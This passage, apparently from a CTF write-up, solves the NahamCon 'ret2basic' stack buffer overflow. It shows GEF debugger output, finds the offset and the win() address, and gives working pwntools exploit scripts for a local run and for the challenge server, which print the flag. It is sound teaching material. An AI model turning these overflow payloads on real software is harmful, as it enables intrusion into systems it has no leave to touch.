$r12   : 0x0000000000401100  →  <_start+0> endbr64
$r13   : 0x0
$r14   : 0x0
$r15   : 0x0
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
──────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdd70│+0x0000: 0x0000000000401360  →  <__libc_csu_init+0> endbr64   ← $rsp
0x00007fffffffdd78│+0x0008: 0x00007ffff7e06cca  →  <__libc_start_main+234> mov edi, eax
0x00007fffffffdd80│+0x0010: 0x00007fffffffde68  →  0x00007fffffffe219  →  "/root/Documents/nahamcon/binary/ret2basic"
0x00007fffffffdd88│+0x0018: 0x0000000100000000
0x00007fffffffdd90│+0x0020: 0x000000000040133c  →  <main+0> push rbp
0x00007fffffffdd98│+0x0028: 0x00007ffff7e067d9  →  <init_cacheinfo+297> mov rbp, rax
0x00007fffffffdda0│+0x0030: 0x0000000000000000
0x00007fffffffdda8│+0x0038: 0x96382d43e61f4924
────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x424242424242
────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "ret2basic", stopped 0x424242424242 in ?? (), reason: SIGSEGV
──────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
───────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤  x $rip
0x424242424242: Cannot access memory at address 0x424242424242

So we have successfully gained control over RIP and the offset is 120.

Exploitation

As we know the binary does not have an executable stack, but we can replace the address at the right location so that the ret call redirects the program counter to win() which will result in reading flag.txt

So now the last remaining piece of the puzzle is the address of win function.

1
2
gef➤  p win
$1 = {<text variable, no debug info>} 0x401215 <win>

Let’s test it out, first we will convert address 0x401215 in little endian format, we can do it using pwntools in python.

1
2
3
4
5
6
7
8
9
cfx:  ~/Documents/nahamcon/binary
→ python3
Python 3.8.6 (default, Sep 25 2020, 09:36:53)
[GCC 10.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> win = p64(0x401215)
>>> win
b'\x15\x12@\x00\x00\x00\x00\x00'

Now let’s send this address in one liner python:

1
2
3
cfx:  ~/Documents/nahamcon/binary
→ (python -c "print 'A'*120 + '\x15\x12@\x00\x00\x00\x00\x00'") | ./ret2basic
Can you overflow this?: Failed to open the flag file.

Bingo ! This time we got Failed to open the flag file. which confirms we successfully called win() function, although we were not able to read the flag since we called the service locally. Let’s write a exploit using pwntools which will call the remote service of this challenge.

Local Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

elf = ELF("./ret2basic")
win = p64(elf.symbols.win)

payload = b"A"*120 + win

def main():

    p = elf.process()
    p.recvuntil("Can you overflow this?:")
    p.sendline(payload)
    p.interactive()

if __name__ == "__main__":
    main()

One of the advantage of using pwntools is that we don’t need to hardcode any address, we can use elf.symbols.win which will fetch the address of win() from the elf binary specified.

Running the exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
cfx:  ~/Documents/nahamcon/binary
→ python3 local.py
[*] '/root/Documents/nahamcon/binary/ret2basic'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Starting local process '/root/Documents/nahamcon/binary/ret2basic': pid 76643
[*] Switching to interactive mode
[*] Process '/root/Documents/nahamcon/binary/ret2basic' stopped with exit code 1 (pid 76643)
Failed to open the flag file.
[*] Got EOF while reading in interactive

Great! It’s working. Let’s just tweak it to run on remote service and grab the flag:

Remote Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

elf = ELF("./ret2basic")                        #ELF binary
win = p64(elf.symbols.win)                      #win= 0x401215 (info functions)/p win

payload = b"A"*120 + win

def main():
    p = remote("challenge.nahamcon.com", 32043) #remote connection
    p.recvuntil("Can you overflow this?:")      #Waiting until this line
    p.sendline(payload)                         #Sending payload
    p.interactive()

if __name__ == "__main__":
    main()

Pwning

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
cfx:  ~/Documents/nahamcon/binary
→ python exp.py
[*] '/root/Documents/nahamcon/binary/ret2basic'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to challenge.nahamcon.com on port 32043: Done
[*] Switching to interactive mode
Can you overflow this?: Here's your flag.
flag{d07f3219a8715e9339f31cfbe09d6502}
[*] Got EOF while reading in interactive
$
[*] Interrupted
[*] Closed connection to challenge.nahamcon.com port 32043

And we pwned the challenge !

Thanks for reading, Suggestions & Feedback are appreciated !

This post is licensed under CC BY 4.0 by the author.